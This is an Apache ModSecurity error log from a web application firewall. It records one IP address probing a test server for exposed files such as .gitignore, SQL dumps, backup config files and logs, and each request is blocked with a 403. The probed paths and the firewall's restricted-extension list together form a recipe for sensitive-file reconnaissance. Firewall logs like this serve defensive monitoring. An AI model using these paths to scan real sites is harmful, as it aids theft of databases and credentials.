[Sun Jun 29 20:23:36.048000 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /site/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.gitignore&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-gwAAAAc&quot;]
[Sun Jun 29 20:23:36.048248 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.gitignore&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-gwAAAAc&quot;]
[Sun Jun 29 20:23:36.048461 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.gitignore&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-gwAAAAc&quot;]
[Sun Jun 29 20:23:36.070431 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/access.log&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hAAAAAc&quot;]
[Sun Jun 29 20:23:36.070791 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/access.log&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hAAAAAc&quot;]
[Sun Jun 29 20:23:36.070988 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/access.log&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hAAAAAc&quot;]
[Sun Jun 29 20:23:36.116060 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/app.js.bak&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hgAAAAc&quot;]
[Sun Jun 29 20:23:36.116431 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/app.js.bak&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hgAAAAc&quot;]
[Sun Jun 29 20:23:36.116636 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/app.js.bak&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hgAAAAc&quot;]
[Sun Jun 29 20:23:36.138302 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/backup.sql&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hwAAAAc&quot;]
[Sun Jun 29 20:23:36.138674 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/backup.sql&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hwAAAAc&quot;]
[Sun Jun 29 20:23:36.138854 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/backup.sql&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-hwAAAAc&quot;]
[Sun Jun 29 20:23:36.275099 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config.php.bak&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-jQAAAAc&quot;]
[Sun Jun 29 20:23:36.275457 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config.php.bak&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-jQAAAAc&quot;]
[Sun Jun 29 20:23:36.275659 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config.php.bak&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-jQAAAAc&quot;]
[Sun Jun 29 20:23:36.324612 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/db.sql&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-jwAAAAc&quot;]
[Sun Jun 29 20:23:36.324979 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/db.sql&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-jwAAAAc&quot;]
[Sun Jun 29 20:23:36.325169 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/db.sql&quot;] [unique_id &quot;aGGEqKAIGT5SiqI9BxP-jwAAAAc&quot;]
[Sun Jun 29 20:23:41.349050 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/debug.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-kQAAAAc&quot;]
[Sun Jun 29 20:23:41.349574 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/debug.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-kQAAAAc&quot;]
[Sun Jun 29 20:23:41.349845 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/debug.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-kQAAAAc&quot;]
[Sun Jun 29 20:23:41.394529 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/dump.sql&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-kwAAAAc&quot;]
[Sun Jun 29 20:23:41.394872 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/dump.sql&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-kwAAAAc&quot;]
[Sun Jun 29 20:23:41.395070 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/dump.sql&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-kwAAAAc&quot;]
[Sun Jun 29 20:23:41.439640 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/error.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-lQAAAAc&quot;]
[Sun Jun 29 20:23:41.440028 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/error.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-lQAAAAc&quot;]
[Sun Jun 29 20:23:41.440231 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/error.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-lQAAAAc&quot;]
[Sun Jun 29 20:23:41.509208 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;aGGEraAIGT5SiqI9BxP-mAAAAAc&quot;]
